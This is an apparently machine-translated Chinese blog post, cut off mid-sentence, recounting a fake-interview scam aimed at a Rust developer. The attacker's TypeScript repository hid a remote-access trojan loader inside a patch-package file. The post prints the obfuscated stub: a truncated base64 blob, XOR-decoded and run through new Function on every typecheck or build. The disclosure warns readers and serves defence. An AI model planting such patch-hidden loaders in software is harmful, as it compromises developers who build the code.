失败的(民族国家?)攻击剖析

2026-06-27 1 阅读 signa11
披露 🧠 这篇文章完全是人工撰写的:除了 IoC 信息之外的所有散文。由于它对时间敏感,因此使用 Claude 来加速 RAT 分析并构建 IoC 检测脚本。由于我住在加拿大,此信息已报告给适当的加拿大机构(CCCS 等)。负载负载的图像不会触发 VirusTotal 上的任何 AV 引擎。攻击者的身份是虚构的,但存在同名的无关人员,他们可能会被混淆,因此在本文中被省略。在 Reddit 上,Rust 社区中的其他一些人也提到他们也成为了攻击目标。本周,我近距离接触了一个假面试骗局,该骗局旨在给我的机器设置后门,从电子邮件的上下文来看,我假设我的包裹位于 crates.io 上。注意:由于一些内部字符串,我将其称为“PinpinRAT”,但它可能有另一个名称。我在网上找不到任何其他参考资料。一周半前,我收到一封来自“D█████ S████”的电子邮件,自称来自 Lua Ventures,这是一家(当时我不知道的)已停业的新加坡 DeFi 领域的 VC。需要明确的是:这是一个捏造的角色,选择这个名字很可能很容易被误认为是许多真实的同名人物之一。它看起来像一封真实的电子邮件,其中包含一个有点无聊但看起来合法的 LinkedIn 个人资料的链接。攻击者甚至透露了他们专门寻求咨询工作的两项投资:Lyrasing 和 Roadpay。搜索这两家公司并不是真正的旗帜——它们都有一些非常基本的网络存在,但没有任何迹象表明它们是假的,而不仅仅是处于早期阶段。 (roadpay.cc 的 archive.org 快照)。我们在见面时间上来来回回,最终确定了聊天的时间。电话本身也没有什么奇怪的。电话那头是一个带着德国口音、有点难以理解的人。他说他在旅行时接听电话,这有点奇怪,但同样,这不一定是一面旗帜。电话响起后,诱饵就来了。提供“测试”的后续电子邮件。此时我有点恼火,但并不怀疑。我克隆了该存储库,但第一个真正的危险信号只在这里触发。我很幸运:他们给我发了一个 TypeScript 存储库。这对我来说没有意义。这些说明看起来更像是 TypeScript 工作面试,而不是任何类型的架构分析。我决定将存储库压缩起来,然后将其扔进 Claude 中进行快速扫描 - 谨慎和懒惰的结合。过了一会儿,它发现了一些奇怪的地方:值得注意的是,根 package.json 没有 postinstall/preinstall 挂钩 - 有趣的是,因为它们使用 patch-package,通常连接到 postinstall。让我检查每个 package.json 的生命周期脚本,然后审核补丁文件(真正的风险面 - 补丁可以将任意代码注入到 node_modules 中)。这引起了我的兴趣。我自己扫描了目录,发现补丁/目录的数量相当不合理。我检查的前几个似乎很无辜,但正如你可能已经猜到的那样,他们只是试图添加噪音,这样真正的有效载荷就不会被捕获。 packages/electron-benchmarks/patches/sumchecker+3.0.1.patchpackages/electron-benchmarks/patches/@electron+get+2.0.3.patchpackages/electron-benchmarks/patches/extract-zip+2.0.1.patch 当我用手慢慢检查时,Claude 发现了 PinpinRAT 的第一个迹象:我找到了它。这是一个恶意负载。嵌入在 typescript+5.9.2.patch 文件中——在 TypeScript 的常规“模块说明符”补丁中——在 _tsc.js 和 typescript.js 的最顶部注入了一个 base64-blob 自执行混淆存根: ;;( function ( r , k ){ const d = Buffer . from ( r , ' base64 ' ); for ( let i = 0 ; i < d ; i += 1 ) d [ i ] ^= k ; return new Function ( ' require ' , ' Buffer ' , ' WebAssembly ' , ' process ' , ' __dirname ' , d .toString ( ' utf8 ' ))( require , Buffer , WebAssembly , process , __dirname ) )})( " YWFg... " , 73 ) /*12ff4b51*/ void " Ticket-harbor-tsc-shim-anchor " ;这会解码一个 Base64 字符串,用密钥 73 异或解密每个字节,并通过 new Function(…) 运行结果,并提交 require、process、Buffer 等。这是一个隐藏的代码执行有效负载,每次 tsc 或任何导入 typescript.js 运行时都会触发 — 即在第一个 npm 运行 typecheck / build / dev 时。 ……从那时起,我决定不再在自己的机器上惹麻烦。我用密码将其压缩,以防止自己意外引爆它,并继续在沙箱中运行分析。陷阱 该存储库的主题是名为“Ticket Harbor”的渡轮票务应用程序。捆绑包中包含的 task.txt 是一组看似无聊的任务,但最终结果是:在提交之前运行存储库类型检查、测试套件和相关桌面/服务器构建命令。该指令